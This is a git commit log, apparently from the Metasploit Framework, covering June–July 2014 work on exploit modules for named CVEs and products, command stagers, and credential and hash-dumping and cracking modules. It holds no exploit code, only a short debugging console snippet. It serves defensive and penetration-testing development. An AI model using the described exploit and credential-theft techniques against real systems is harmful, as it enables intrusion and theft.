jvazquez-r7 14b1ed5290 Add spec for comma separated cookies 2014-07-06 16:23:43 -05:00
Michael Messner e7ade9f84d migrate from wget to echo mechanism 2014-07-06 21:45:53 +02:00
jvazquez-r7 f51feb7f52 Modify get_cookies regular expression 2014-07-06 13:22:31 -05:00
jvazquez-r7 5e7f356f31 Land #3494, @Firefart's update for Mailpoet's exploit 2014-07-06 11:27:18 -05:00
HD Moore 740f75d0bf Match masters preferred MDM version 2014-07-06 09:52:04 -05:00
HD Moore 16af8b8c5c Use MDM 0.17.0 stock as master branch is broken.
This resolves all issues I know of with the recog branch on
Metasploit Framework, but obviously most of the benefits of
this branch come from having a recog-aware MDM, something
that can't happen until MDM 0.17.6+ is supported by the
framework.

In short, this should be good to merge, but will not solve
the intended problems until MDM 0.17.6+ is fixed for MSF
2014-07-06 09:36:08 -05:00
HD Moore b6b5435a3d Fix service pack parsing 2014-07-06 09:24:36 -05:00
HD Moore 90f3916259 Remove duplicate packetfu inclusion after merge 2014-07-06 09:19:14 -05:00
HD Moore 43d65cc93a Merge branch 'master' into feature/recog
Resolves conflicts:
	Gemfile
	data/js/detect/os.js
	modules/exploits/android/browser/webview_addjavascriptinterface.rb
2014-07-06 09:17:44 -05:00
Christian Mehlmauer d5843f8eaf Updated Mailpoet exploit to work with another version 2014-07-06 10:53:40 +02:00
William Vu cf5d29c53b Add EOF newline to satisfy msftidy 2014-07-05 13:51:12 -05:00
William Vu 84a3b94679 Land #3493, small fixes for WP MailPoet module 2014-07-05 13:50:09 -05:00
HD Moore 6d9bf83ded Small fixes for the recent WP MailPoet module
Correct casing in the title
Anchor the use of ::File
Force body.to_s since it can be nil in corner cases
2014-07-05 13:17:23 -05:00
jvazquez-r7 98a82bd145 Land #3486, @brandonprry's exploit for CVE-2014-4511 gitlist RCE 2014-07-04 16:41:04 -05:00
jvazquez-r7 59881323b9 Clean code 2014-07-04 16:40:16 -05:00
Brandon Perry 6c18ee884e Create sqlmap.rb 2014-07-04 10:54:07 -05:00
Brandon Perry 68a0e7c16e Create sqlmap_session.rb 2014-07-04 10:53:37 -05:00
Brandon Perry 88c44bf4f5 Create sqlmap_manager.rb 2014-07-04 10:53:14 -05:00
Tod Beardsley a471f298a5 Merge #3476 into #3481 for meterpreter smilies
This incoporates @OJ's fixes as a result of gemification.
2014-07-03 22:54:56 -05:00
James Lee 311f43f1e4 Constpocalypse 2014-07-03 18:49:46 -05:00
jvazquez-r7 aedd347191 Land all the commits on #3491, @jlee-r7's patch for php meterpreter 2014-07-03 18:14:52 -05:00
jvazquez-r7 20cf25da7e Land #3491, @jlee-r7's fix for php meterpreter on php 5.5.0 2014-07-03 18:11:20 -05:00
Brandon Perry a33a6dc79d add bash to requiredcmd 2014-07-03 16:52:52 -05:00
James Lee 41cd5527c8 Close the server socket in php bind stager
This was previously left dangling, which leaves the port open, but
doesn't do anything with subsequent connections.
2014-07-03 16:52:09 -05:00
Brandon Perry 806f26424c && not and 2014-07-03 16:50:21 -05:00
Brandon Perry 6fb2fc85a0 address @jvasquez-r7 review points 2014-07-03 16:43:01 -05:00
James Lee 9246f7a0ce Strip the NULL that PHP no longer strips
As of PHP 5.5.0, unpack("a", ...) no longer strips the NULL byte from
the end of the string. A new format specifier, Z, was introduced to
perform the old behavior, but we don't have a good way to test for its
existence. Instead, just remove it with str_replace
2014-07-03 15:58:05 -05:00
Trevor Rosen c1fc68e1b1 Replace to_pwdump internals
MSP-9948
2014-07-03 15:41:26 -05:00
jvazquez-r7 2efa3d6bc0 Land #3487, @FireFart's exploit for WordPress MailPoet file upload 2014-07-03 14:34:58 -05:00
sinn3r f1b7a9f421 Land #3488 - loot storage into the enum_services post module 2014-07-03 14:18:16 -05:00
sinn3r 79c433e7ea Land #3480 - Oracle Event Processing FileUploadServlet Arbitrary File Upload 2014-07-03 14:09:12 -05:00
sinn3r c207d14d1f Update description 2014-07-03 14:08:31 -05:00
Trevor Rosen 45a1c6f0e6 Update deps 2014-07-03 13:55:10 -05:00
jvazquez-r7 97a6b298a8 Use print_warning 2014-07-03 13:38:20 -05:00
Chris bb54fecdd1 Merge pull request #1 from wchen-r7/pr3488_fix
More cosmetic fixes for enum_services
2014-07-03 19:31:38 +01:00
Christian Mehlmauer dcba357ec3 implement feedback 2014-07-03 20:27:08 +02:00
sinn3r 2c999d3099 Better describe the problem 2014-07-03 13:06:19 -05:00
sinn3r 9aa3c75234 Do something for the shut-everything-up event handling practice 2014-07-03 13:04:56 -05:00
sinn3r 8a513058f6 Fix comments 2014-07-03 12:59:10 -05:00
sinn3r ebeb9880a6 Favor "unless" over "if" for negative conditions
Please refer to https://github.com/bbatsov/ruby-style-guide
2014-07-03 12:55:13 -05:00
sinn3r 1d828a951f string interpolation is preferred over concatenation
Please refer to https://github.com/bbatsov/ruby-style-guide
2014-07-03 12:46:56 -05:00
sinn3r b781b87d74 Avoid unnecessary "if not" 2014-07-03 12:44:17 -05:00
Brandon Perry 86a31b1896 Update gitlist_exec.rb 2014-07-03 12:40:37 -05:00
Christian Mehlmauer aeb4fff796 Added FileDropper 2014-07-03 19:25:31 +02:00
jvazquez-r7 51695c4932 Land #2484, @zeroSteiner's refactoring for CmdStager 2014-07-03 11:33:46 -05:00
Spencer McIntyre c041682c9b Land additional cmdstager specs from @jvazquez-r7 2014-07-03 11:46:56 -04:00
jvazquez-r7 405de05e4b Add specs for module_flavors 2014-07-03 10:31:39 -05:00
Jon Hart bc3ac1ee36 Correct private message format, update tests 2014-07-03 08:27:27 -07:00
jvazquez-r7 17da89927e Merge @zeroSteiner's updates 2014-07-03 10:18:15 -05:00
Spencer McIntyre d93bf55435 Add a module_flavors method for all available flavors 2014-07-03 11:01:21 -04:00
Jon Hart 1500f33e1b Default to only fuzzing versions 2-4 2014-07-03 07:32:44 -07:00
Christian Mehlmauer b15297eee0 Land #3490, @Meatballs1 tns listener verbose output 2014-07-03 16:20:38 +02:00
jvazquez-r7 5e0211016d Merge to solve conflicts 2014-07-03 09:16:04 -05:00
James Lee b7a55d402d Add likely service ports and names for HTTP 2014-07-02 23:41:31 -05:00
James Lee 9dde47a0bc Add a simple classes_for_service method 2014-07-02 23:31:56 -05:00
Christian Mehlmauer 071f236946 Changed check method 2014-07-02 22:31:02 +02:00
Christian Mehlmauer a58ff816c5 Changed check method 2014-07-02 22:29:00 +02:00
sinn3r 90df0f1bb5 Land #3489 - Add verbosity to Jenkins Enum 2014-07-02 14:40:25 -05:00
sinn3r ecba95644d Land #3473 - skype post module to extract password hash 2014-07-02 14:34:10 -05:00
Michael Messner e5b441314c removed wrong edit ... 2014-07-02 21:33:49 +02:00
Michael Messner 8f55af5f9d UPnP check included 2014-07-02 21:28:39 +02:00
Michael Messner ac2e84bfd6 check included 2014-07-02 21:24:50 +02:00
Rob Fuller c6675a2900 Add verbosity to Jenkins Enum 2014-07-02 13:25:18 -04:00
Your Name 9981a60b27 Add loot storage into the enum_service post module 2014-07-02 17:56:16 +01:00
Your Name 83abf4b523 Add loot storage into the enum_service post module 2014-07-02 17:48:48 +01:00
Christian Mehlmauer 40175d3526 added check method 2014-07-02 11:07:58 +02:00
Christian Mehlmauer 54a28a103c Updated description 2014-07-02 10:49:28 +02:00
Christian Mehlmauer 1ff549f9c1 Replaced Tab 2014-07-02 10:35:30 +02:00
Christian Mehlmauer 09131fec28 Added wysija file upload exploit 2014-07-02 10:24:27 +02:00
James Lee e9436743e8 Merge branch 'feature/MSP-9749/oracle_hashdump' into staging/electro-release 2014-07-01 17:55:56 -05:00
William Vu 68ba79aa16 Remove access_level, since we don't have access 2014-07-01 17:53:18 -05:00
William Vu 5fa0981026 Add login and move print_status 2014-07-01 17:48:42 -05:00
jakxx a735fd3c59 Update web_delivery.rb 2014-07-01 16:52:18 -04:00
Jon Hart 1830bdc7a5 Add rspec coverage for Rex::Proto::NTP 2014-07-01 12:29:47 -07:00
James Lee f0cb235393 Merge branch 'feature/MSP-9735/gpp' into staging/electro-release 2014-07-01 14:28:15 -05:00
William Vu 864f0f1bbc Update description, loot -> creds 2014-07-01 11:46:21 -05:00
William Vu bfc6c87119 Land #3486, release fixes
Now with more @wchen-r7!
2014-07-01 11:04:06 -05:00
sinn3r 21f6e7bf6c Change description 2014-07-01 10:44:21 -05:00
sinn3r 449fde5e7c Description update 2014-07-01 10:26:52 -05:00
sinn3r c43006f820 Update cogent module description, fix msftidy warnings 2014-07-01 10:06:33 -05:00
Jon Hart bc274b358f Move NTP message code to Rex::Proto::NTP, simplify option handling 2014-06-30 23:57:47 -07:00
William Vu 3079c47d41 Refactor oracle_hashdump creds 2014-07-01 01:07:22 -05:00
Rob Fuller d341fc20a8 switch to use file? instead of stat 2014-07-01 00:58:17 -04:00
Brandon Perry db6524106e one more typo, last one I swear 2014-06-30 22:33:19 -05:00
Brandon Perry d7dfa67e94 typo 2014-06-30 20:15:25 -05:00
Brandon Perry acedf5e847 Update gitlist_exec.rb
Fix EDB ref and no twitter handles.
2014-06-30 20:12:08 -05:00
Brandon Perry ecc1b08994 Create gitlist_exec.rb
This adds a metasploit module for CVE-2014-4511
2014-06-30 20:10:24 -05:00
jvazquez-r7 bf9c64d3ee Land #3483, @hmoore-r7's title change for ipmi_cipher_zero 2014-06-30 17:31:12 -05:00
Trevor Rosen 2da890810a Make db_import use Metasploit Credential
MSP-9948

* Special-case the pwdump file to be IO
* Had to use lotsa shims
2014-06-30 13:32:59 -05:00
HD Moore 4ff211ec8d Fix the spec to allow for 1 or more spaces between 2014-06-30 13:18:43 -05:00
Meatballs cf720a88e8 Be verbose about error codes 2014-06-30 19:10:03 +01:00
HD Moore 84c0504b1b MSI sections actually need to be signed after all 2014-06-30 13:08:28 -05:00
Meatballs f8ef6c50b4 Land #3470, Cerberus SFTP User Enumeration 2014-06-30 19:01:15 +01:00
Meatballs 94c5a0b603 More verbose around connection errors 2014-06-30 18:56:30 +01:00
Meatballs 183d601aae Small tidyup 2014-06-30 18:17:49 +01:00
jvennix-r7 52515c167a Merge pull request #90 from rapid7/feature/MSP-9743/hashdump
Merge #90, @wvu's refactor of post/osx/gather/hashdump to use the new creds model.
2014-06-30 12:11:45 -05:00
attackdebris 004afa6e0c Clean commit of Cerberus FTP User Enumeration Module 2014-06-30 17:53:46 +01:00
William Vu 92963d4999 Fix broken NTLM hash format 2014-06-30 11:35:28 -05:00
Trevor Rosen cf9c3caea3 Get the latest
Merge branch 'staging/electro-release' into feature/MSP-9848/db-export-refactor
2014-06-30 11:14:11 -05:00
HD Moore c9b6c05eab Fix improper use of host-endian or signed pack/unpack
Note that there are some cases of host-endian left, these
are intentional because they operate on host-local memory
or services.

When in doubt, please use:

```
ri pack
```
2014-06-30 02:50:10 -05:00
HD Moore 255e792ed3 Fix host-endian related pack errors. See below for details.
Ruby treats endianess in pack operators in the opposite way
of python. For example, using pack('<I') actually ignores the
endianess specifier. These need to be 'I<' or better yet, 'V'.
The endian specify must occur after the pack specifier and
multiple instances in meterpreter and exe generation were
broken in thier usage.

The summary:

Instead of I/L or I< use V
Instead of I/L or I> use N
For Q, you need to always use Q< (LE) or Q> (BE)
For c/s/l/i and other lowercase variants, you probably dont
need or want a *signed* value, so stick with vV nN and cC.
2014-06-30 02:46:36 -05:00
HD Moore 72d8d8a40c RAKP defines auth, not cipher-0 bypass, see below.
Dan Farmer noted that the RAKP reference in the title was not correct
and that RAKP is a separate issue and protocol implementation than
the use of Cipher Zero to perform an authentication bypass.

Cosmetic only change
2014-06-30 00:52:40 -05:00
HD Moore 4bff68ff2b Use the specified UA, dont duplicate ports 2014-06-30 00:49:21 -05:00
HD Moore 6e8415143c Fix msftidy and tweak a few modules missing timeouts 2014-06-30 00:46:28 -05:00
HD Moore a279db7710 Check for sock.get / udp_sock.get issues 2014-06-30 00:40:06 -05:00
Tod Beardsley 8b63d3d467 Revert the revert of #3446
This reverts commit 9b35b0e13a.

This should not land on master until the Metasploit Pro folks (@trosen-r7
and friends) get their Meterpreter path specifications working the
same way as Framework's does.
2014-06-29 17:22:21 -05:00
jvazquez-r7 1acd5e76cb Add check code for event processing 12 2014-06-29 15:47:57 -05:00
jvazquez-r7 a94396867c Add module for ZDI-14-106, Oracle Event Processing 2014-06-29 15:44:20 -05:00
Spencer McIntyre faa9c11450 Dont deregister an option that is in use 2014-06-28 18:22:17 -04:00
Spencer McIntyre 748589f56a Make cmdstager flavor explicit or from info
Every module that uses cmdstager either passes the flavor
as an option to the execute_cmdstager function or relies
on the module / target info now.
2014-06-28 17:40:49 -04:00
HD Moore e806222512 Fix bad copypast, sock.get usage, HTTP mistakes 2014-06-28 16:18:16 -05:00
HD Moore 90eccefcc8 Fix sock.get use and some minor bugs 2014-06-28 16:17:15 -05:00
HD Moore baa877ef17 Switch to get_once for consistency 2014-06-28 16:10:49 -05:00
HD Moore c8e44c341c Fix use of sock.get vs sock.get_once 2014-06-28 16:10:18 -05:00
HD Moore 7f06d10ba6 Dont blindly strip a possible nil return value 2014-06-28 16:08:06 -05:00
HD Moore 5e900a9f49 Correct sock.get() to sock.get_once() to prevent indefinite hangs/misuse 2014-06-28 16:06:46 -05:00
HD Moore 6e80481384 Fix bad use of sock.get() and check() implementations
Many of these modules uses sock.get() when they meant get_once()
and their HTTP-based checks were broken in some form. The response
to the sock.get() was not being checked against nil, which would
lead to stack traces when the service did not reply (a likely
case given how malformed the HTTP requests were).
2014-06-28 16:05:05 -05:00
HD Moore 3868348045 Fix incorrect use of sock.get that leads to indefinite hang 2014-06-28 15:48:58 -05:00
HD Moore 3ae91410f5 Fix incorrect use of sock.get(), remove rundant return values 2014-06-28 15:24:02 -05:00
HD Moore 6d0d8a911d Fix incorrect use of sock.get() that could lead to indefinite hang 2014-06-28 15:22:16 -05:00
HD Moore a9cd9c584a Respect RPORT even if additional ports are specified 2014-06-28 15:21:54 -05:00
Spencer McIntyre bd49d3b17b Explicitly use the echo stager and deregister options
Certain modules will only work with the echo cmd stager so
specify that one as a parameter to execute_cmdstager and
remove the datastore options to change it.
2014-06-28 16:21:08 -04:00
HD Moore 43420aa984 Fix incorrect use of sock.get that can lead to an indefinite timeout
console1:
```
msf> use auxiliary/scanner/http/open_proxy
msf auxiliary(open_proxy) > set RHOSTS 192.168.0.4
msf auxiliary(open_proxy) > set RPORT 8888
msf auxiliary(open_proxy) > run
< the connection never times out >
```

console2:
```
$ nc -vlp 8888
Listening on [0.0.0.0] (family 0, port 8888)
Connection from [192.168.0.4] port 8888 [tcp/*] accepted (family 2, sport 43245)
GET http://209.85.148.147/ HTTP/1.1
Host: 209.85.148.147
Connection: close
User-Agent: user_agent
Accept-Encoding: *
Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7
Cache-Control: no
Accept-Language: de,en;q=0.7,en-us;q=0.3
```

After the patch, requests timeout after 10 seconds:
```
msf auxiliary(open_proxy) > run
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
2014-06-28 15:18:11 -05:00
HD Moore 3e1ac3fee1 This module was broken due to a hardcoded IP address for google.com 2014-06-28 15:14:29 -05:00
William Vu 90fb07ba6d Use downcase instead of upcase 2014-06-27 14:12:10 -05:00
David Maloney b680674b95 Merge branch 'master' into staging/electro-release 2014-06-27 11:55:57 -05:00
dmaloney-r7 0a6a5a0a12 Merge pull request #92 from rapid7/feature/MSP-9912/metamodule-refactor-ssh-key
Feature/msp 9912/metamodule refactor ssh key
2014-06-27 11:48:57 -05:00
William Vu aaeca5ce5b Remove user field from PBKDF2 hash 2014-06-27 11:26:45 -05:00
Samuel Huckins f9f9849c7f Merge pull request #91 from rapid7/feature/MSP-9642/pcap_credential_creation
Specs passing, cred imported looks good

MSP-9642 #land
2014-06-27 11:17:24 -05:00
Lance Sanchez c1877cfba2 fixing the broken to_credential test
MSP-9912
2014-06-27 10:06:38 -05:00
AnwarMohamed fe34211c93 Merge remote-tracking branch 'upstream/master' 2014-06-27 16:43:13 +02:00
Spencer McIntyre 42ac3a32fe Multi-fy two new linux/http/dlink exploits 2014-06-27 08:40:27 -04:00
Spencer McIntyre 41d721a861 Update two modules to use the new unified cmdstager 2014-06-27 08:34:57 -04:00
Spencer McIntyre 1b4b4fd1c0 Update the cmdstager spec ArgumentError text 2014-06-27 08:34:57 -04:00
Spencer McIntyre ea077b2f12 Improve the guess_flavor logic to pull from module info 2014-06-27 08:34:57 -04:00
Spencer McIntyre 952c935730 Use a semi-intelligent OptEnum for CMDSTAGER::FLAVOR 2014-06-27 08:34:57 -04:00
Spencer McIntyre 219153c887 Raise NotImplementedError and let :flavor be guessed 2014-06-27 08:34:56 -04:00
Spencer McIntyre 4d4c5e5d6e Update two modules to use the new cmd stager 2014-06-27 08:34:56 -04:00
jvazquez-r7 dcd0e77f9e Change #compatible? method name because it's used by Module 2014-06-27 08:34:56 -04:00
jvazquez-r7 af568c856a Add CMStager specs 2014-06-27 08:34:56 -04:00
jvazquez-r7 31acc4a528 Fix #compatible? method 2014-06-27 08:34:56 -04:00
jvazquez-r7 ddd1dd5155 The check for required decoder hasn't a lot of sense 2014-06-27 08:34:56 -04:00
jvazquez-r7 9c6a521b94 Fix select_decoder 2014-06-27 08:34:56 -04:00
jvazquez-r7 dad2c75592 Initialize opts arguments 2014-06-27 08:34:56 -04:00
jvazquez-r7 381dea94d0 Fix typo 2014-06-27 08:34:56 -04:00
jvazquez-r7 cbc1bd9966 Redesign constants 2014-06-27 08:34:56 -04:00
jvazquez-r7 160147b370 Make some methods not dependant of the instance flavor 2014-06-27 08:34:56 -04:00
jvazquez-r7 45248dcdec Add YARD documentation for methods 2014-06-27 08:34:56 -04:00
jvazquez-r7 68938e3d7a Add select_cmdstager 2014-06-27 08:34:56 -04:00
jvazquez-r7 35d035fa4e Add YARD docu for execute_cmdstager 2014-06-27 08:34:56 -04:00
jvazquez-r7 e8f9dde50f Allow datastore options and opts to use strings instead of sym 2014-06-27 08:34:56 -04:00
jvazquez-r7 870fa96bd4 Allow quotes in CmdStagerFlavor metadata 2014-06-27 08:34:56 -04:00
jvazquez-r7 37d0dd59e8 Clean up a little CMDStager methods 2014-06-27 08:34:56 -04:00
jvazquez-r7 8db7ec683f Fix setup and teardown stager methods 2014-06-27 08:34:55 -04:00
jvazquez-r7 91e2e63f42 Add CmdStagerFlavor to metadata 2014-06-27 08:34:55 -04:00
jvazquez-r7 dd7b2fc541 Use constants 2014-06-27 08:34:55 -04:00
jvazquez-r7 9e413670e5 Include the CMDStager 2014-06-27 08:34:55 -04:00
jvazquez-r7 d47994e009 Update modules to use the new generic CMDstager mixin 2014-06-27 08:34:55 -04:00
jvazquez-r7 8bf36e5915 AutoDetection should work 2014-06-27 08:34:55 -04:00
jvazquez-r7 778f34bab6 Allow targets and modules to define compatible stagers 2014-06-27 08:34:55 -04:00
jvazquez-r7 74a6de828a Cannot delete @cmd_list, is used at least by one module 2014-06-27 08:34:55 -04:00
jvazquez-r7 7ced5927d8 Use One CMDStagermixin 2014-06-27 08:34:55 -04:00
jvazquez-r7 0a99b549d6 Change filenames 2014-06-27 08:34:55 -04:00
jvazquez-r7 cff580162b Move stagers 2014-06-27 08:34:55 -04:00
Spencer McIntyre 2a442aac1f No long needs to extend bourne, and specify a flavor. 2014-06-27 08:34:55 -04:00
Spencer McIntyre 9991316ae6 Minor code cleanup and honor the datastore decoder. 2014-06-27 08:34:55 -04:00
Spencer McIntyre 1a392e2292 Multi-fy the hyperic_hq_script_console exploit. 2014-06-27 08:34:55 -04:00
Spencer McIntyre 80bdf750e9 Multi-fy the new printf stager and add to sshexec. 2014-06-27 08:34:55 -04:00
Spencer McIntyre ae25c300e5 Initial attempt to unify the command stagers. 2014-06-27 08:34:55 -04:00
Trevor Rosen a86610dad5 Gut and delegate import_msf_pwdump
MSP-9848
2014-06-26 16:47:42 -05:00
David Maloney 56b94fea4f pcap import now creates creds
refactored cred creation to use Metasploit::Credential
for captured HTTP basic auth credentials gatehered on the wire
2014-06-26 15:34:40 -05:00
William Vu 6e1fa8ff5a Refactor OS X hashdump creds 2014-06-26 15:10:35 -05:00
sinn3r a60dfdaacb Land #3471 - HP AutoPass License Server File Upload 2014-06-26 14:34:32 -05:00
sinn3r ce5d3b12e7 Land #3403 - MS13-097 Registry Symlink IE Sandbox Escape 2014-06-26 13:48:28 -05:00
sinn3r 0b6f7e4483 Land #3404 - MS14-009 .NET Deployment Service IE Sandbox Escape 2014-06-26 11:45:47 -05:00
sinn3r 6075c795e9 Land #3467 - failure message for nil payload 2014-06-26 11:12:37 -05:00
Lance Sanchez b5351eec2b adding .to_credential
Metasploit::Framework::Credential and Metasploit::Credential::Core
need to be consumable by the login scanners. the easiest way to do this
was to create a shared to_credential method on both that return Metasploit::Framework::Credential

MSP-9912
2014-06-26 11:05:59 -05:00
David Maloney 9cec330f05 Merge branch 'master' into staging/electro-release 2014-06-26 10:22:30 -05:00
jakxx 4da28f1708 updated platform 2014-06-25 22:01:19 -04:00
James Lee 48e93b7fc2 Merge branch 'feature/MSP-9715/linux_hashcracker' into staging/electro-release 2014-06-25 16:15:44 -05:00
Matt Buck 27ef12bafe Land #3478, disallow port 0 for portspec
[Closes #3478]
2014-06-25 15:46:30 -05:00
jakxx 54ccc261d1 Updates
Updated spacing, ranking, php command, platform, and merged *nix and
windows cmds
2014-06-25 16:34:51 -04:00
David Maloney 34c57f51b1 Merge branch 'staging/electro-release' of github.com:rapid7/metasploit-framework-private into staging/electro-release 2014-06-25 15:02:35 -05:00
David Maloney 9f33be81e0 Merge branch 'feature/MSP-9718/deprectae_unshadow' into staging/electro-release 2014-06-25 15:02:13 -05:00
David Maloney ac61a8fe4f deprecate jtr_unshadow 2014-06-25 15:01:35 -05:00
James Lee 75be200b97 Merge branch 'feature/MSP-9714/jtr_aix' into staging/electro-release 2014-06-25 14:34:41 -05:00
Lance Sanchez 07d548caeb dropping lib from shared examples
MSP-9912
2014-06-25 14:32:43 -05:00
James Lee 70fd3344fd Merge branch 'feature/MSP-9713/jtr_crack_fast' into staging/electro-release 2014-06-25 14:15:50 -05:00
David Maloney 42bfe8ba4f make portspec specs not insane
the specs for the portspec_to_portlist method
need a lot of work. this gives us some btter minimum coverage
2014-06-25 14:10:06 -05:00
Chris Doughty 9b35b0e13a Revert "Land #3446 -- Meterpreter bins gem switch" due to build failures
This reverts commit bba8bd3498, reversing
changes made to 002234993f.
2014-06-25 13:24:07 -05:00
David Maloney 97d08a081a reverting port 0 behaviour in portspec
a change was made to protspec that allowed port 0
when we explicitly dissallowed port 0. This change caused
other code that depended on this behaviour to break
2014-06-25 13:07:22 -05:00
David Maloney 61d8597a00 missing require 2014-06-25 10:13:41 -05:00
David Maloney 5b0a356045 properly strip extra colons 2014-06-25 10:04:48 -05:00
James Lee 4e0bcc123d More useful msg when domain is ignored 2014-06-25 10:01:07 -05:00
Trevor Rosen f5ea6db604 Merge pull request #86 from rapid7/feature/MSP-9719/postgres_crack
Feature/msp 9719/postgres crack

MSP-9719 #land
2014-06-25 09:19:55 -05:00
Trevor Rosen 6696783b86 Merge pull request #85 from rapid7/feature/MSP-9717/mysql_crack
Feature/msp 9717/mysql crack

MSP-9717 #land
2014-06-25 08:55:35 -05:00
James Lee db8692444f Merge branch 'feature/MSP-9742/windows_autologin' into staging/electro-release 2014-06-25 04:31:57 -05:00
James Lee f225ac92ab Refactor smb_login
Maintains the new admin check functionality added in
rapid7/metasploit-framework#3330
2014-06-25 04:13:37 -05:00
Rob Fuller 920bd1132e replace manual packing with rex version 2014-06-25 00:16:28 -04:00
Joshua Smith 3ed7050b67 Lands 3420 after wrapping most lines at 80 2014-06-24 17:37:43 -05:00
Joshua Smith 3fe162a8b1 wraps most lines at 80 2014-06-24 17:36:10 -05:00
OJ 769f2e4936 Change elevator to 'elevator'
This would have made lots of people uhnappy.
2014-06-25 07:47:47 +10:00
David Maloney 560fc93834 jtr_aix refactor
updated the aix cracker for jtr
2014-06-24 15:34:28 -05:00
David Maloney b875a803d0 fix aix hashdump
aix hashdump now creates NonreplayableHash objects
2014-06-24 15:23:37 -05:00
OJ ac03b7c96a Use sorted sets extension lists 2014-06-25 03:26:25 +10:00
OJ 117cd8bf3a Add wildcards to gitignore for extensions 2014-06-25 03:19:59 +10:00
OJ 0fc4d10813 Fix indentation for case statements 2014-06-25 03:18:37 +10:00
OJ bba8bd3498 Land #3446 -- Meterpreter bins gem switch 2014-06-25 03:00:11 +10:00
James Lee 7615da7808 Merge branch 'staging/electro-release' into feature/MSP-9707/smb-bruteforce-refactor 2014-06-24 00:12:56 -05:00
James Lee ffd05d9da9 Fix example Gemfile.local to work with existing 2014-06-24 00:00:47 -05:00
James Lee 85611702f9 Merge branch 'upstream-master' into feature/MSP-9707/smb-bruteforce-refactor 2014-06-23 23:58:47 -05:00
Jon Hart b9925bb24c Minor option cleanup 2014-06-23 18:38:47 -07:00
HD Moore 002234993f SMB lib fixes, unattend.xml cred gathering 2014-06-23 20:08:42 -05:00
Meatballs 615aeb66a5 Dont use or 2014-06-23 23:11:04 +01:00
Meatballs 752007848b Tidy up code
Dont rescue Exception
Remove eol spaces
Dont use and
More verbose path
2014-06-23 23:08:33 +01:00
David Maloney 6651af2d9b refactor jtr_linux cracker 2014-06-23 16:27:28 -05:00
HD Moore b872fa0f0d Handle smb_recv corner case with a cache, clean up find_*, cosmetic 2014-06-23 16:14:18 -05:00
HD Moore 2772d84a18 Major rework of this module, please see the diff 2014-06-23 16:13:42 -05:00
Rob Fuller 86869f0a81 remove extra parenthesis 2014-06-23 17:10:31 -04:00
Rob Fuller 8e37aea7c2 remove use of Q in packing and unpacking 2014-06-23 16:52:53 -04:00
David Maloney 57c4ed51e9 fix mssql incremental modes 2014-06-23 15:37:37 -05:00
David Maloney 1cbc324774 fix up incremental modes
those incrmenetal rules don't exist
in all versions. All and Alnum are too long
for a 'fast-mode' crack. We wwill do Digits though
which does all digits 0-8 and gets us blank passwords
for free.
2014-06-23 15:36:17 -05:00
David Maloney 520c82d7fc deal with blank password in ntlm 2014-06-23 15:32:50 -05:00
David Maloney c5f2efda18 fixed up casing 2014-06-23 15:26:12 -05:00
David Maloney b246e66eb8 successfully cracking ntlm hashes
still need to handle casing for lm
2014-06-23 14:40:32 -05:00
Rob Fuller a7d00f8144 simplify SHA1 code 2014-06-23 15:39:06 -04:00
Rob Fuller 77620193a1 remove character restriction on aes.final call 2014-06-23 15:37:19 -04:00
Rob Fuller 2d0b4b96ee remove verbose exit if no salt found 2014-06-23 15:34:07 -04:00
Rob Fuller 275d8826bd skype post module to extract password hash 2014-06-23 15:16:50 -04:00
Jon Hart 050091d0dd Fuzz all 255 possible mode 7 request codes 2014-06-23 11:38:30 -07:00
HD Moore 94388e3931 Fix typo in the constant name 2014-06-23 12:51:26 -05:00
David Maloney 57cc390681 fix how we save mssql hashes
since the 0x prefix is neccisary, just save the hash that way in the first place
2014-06-23 12:38:36 -05:00
David Maloney c61f59d8a9 make sure to report the realm 2014-06-23 12:08:49 -05:00
David Maloney dadd959c6a refactor postgres hash cracking
refactored postgres_hashdump to report the creds
it logged in with. added a new jtr module for
dealing with postgres hashes instead of the
crappy old md5 one we had before
2014-06-23 12:02:39 -05:00
William Vu a0aca251f5 Land #3472, releae fixes 2014-06-23 11:41:35 -05:00
Tod Beardsley ac60696247 Land #3468, update for Chromecast wifi spying 2014-06-23 11:39:08 -05:00
Tod Beardsley 0219c4974a Release fixups, word choice, refs, etc. 2014-06-23 11:17:00 -05:00
David Maloney a0be142b33 Merge branch 'staging/electro-release' into feature/MSP-9717/mysql_crack 2014-06-23 11:03:29 -05:00
jvazquez-r7 267642aa4b Fix description 2014-06-23 09:20:47 -05:00
jvazquez-r7 cc3c06440f Add module for ZDI-14-195, HP AutoPass License Traversal 2014-06-23 09:19:56 -05:00
HD Moore d6a263d538 Identify the hung host in the thread info 2014-06-22 16:01:03 -05:00
HD Moore 538a520445 Remove redundant option (threads are always used in reverse_tcp_double) 2014-06-22 16:00:44 -05:00
HD Moore b3d83720ca Add ReverseListenerThreaded option to prevent deadlocks
JodaZ reported that the handle_connection() sock.put call can
result in the entire reverse_tcp stager hanging if the client
stops receiving or is on a very slow link. The solution emulates
what ReverseTcpDouble already does, which is stage each connection
in a new thread. However, given that a high number of threads
can be a problem on some operating systems (*ahem* win32) this
option is not enabled by default.

We should look into thread pooling and handle_connection() timeouts
as well as event-based polling of multiple clients as alternatives,
but this option will improve the situation for our existing users.
2014-06-22 15:55:20 -05:00
HD Moore 6e5f528332 Prevent stager deadlock if inp/out detection hangs for some reason
Even though there are calls to has_read_data(), it doesn't prevent
the put() call from blocking in a dead client or slowaris-like
situation. By moving the inp/out detection into the thread, we
allow the main handler to keep processing connections even if
a single connection hangs.
2014-06-22 15:25:19 -05:00
Tod Beardsley c71eb1aa4e Add specs for changed object UI 2014-06-22 13:05:17 -05:00
Tod Beardsley 53d0aba305 Add some specs for changed object Priv 2014-06-22 12:54:10 -05:00
William Vu 40d1ec551e Add WEP, PSK, and MGT 2014-06-21 23:15:20 -05:00
AnwarMohamed 118fc3450c Merge remote-tracking branch 'upstream/master' 2014-06-22 01:22:25 +02:00
Spencer McIntyre 05d4a1ab2c Land #3342, Support negation in portspec 2014-06-21 18:14:50 -04:00
Spencer McIntyre 61f4c769eb Land #3461, Chromecast factory reset module 2014-06-21 17:43:31 -04:00
William Vu 79bf80e6bf Add generic error handling
Just in case a factory reset happens to fail.
2014-06-21 15:35:03 -05:00
Tom Sellers 0822713f2e Hide unneeded options 2014-06-21 11:39:52 -05:00
Tom Sellers cec3ca1df6 Improve detection of failed uploads
leaving aborted = nil was causing unexpected behavior when the upload failed.  Explicitly setting aborted = false by default corrects this issue.
2014-06-21 10:12:17 -05:00
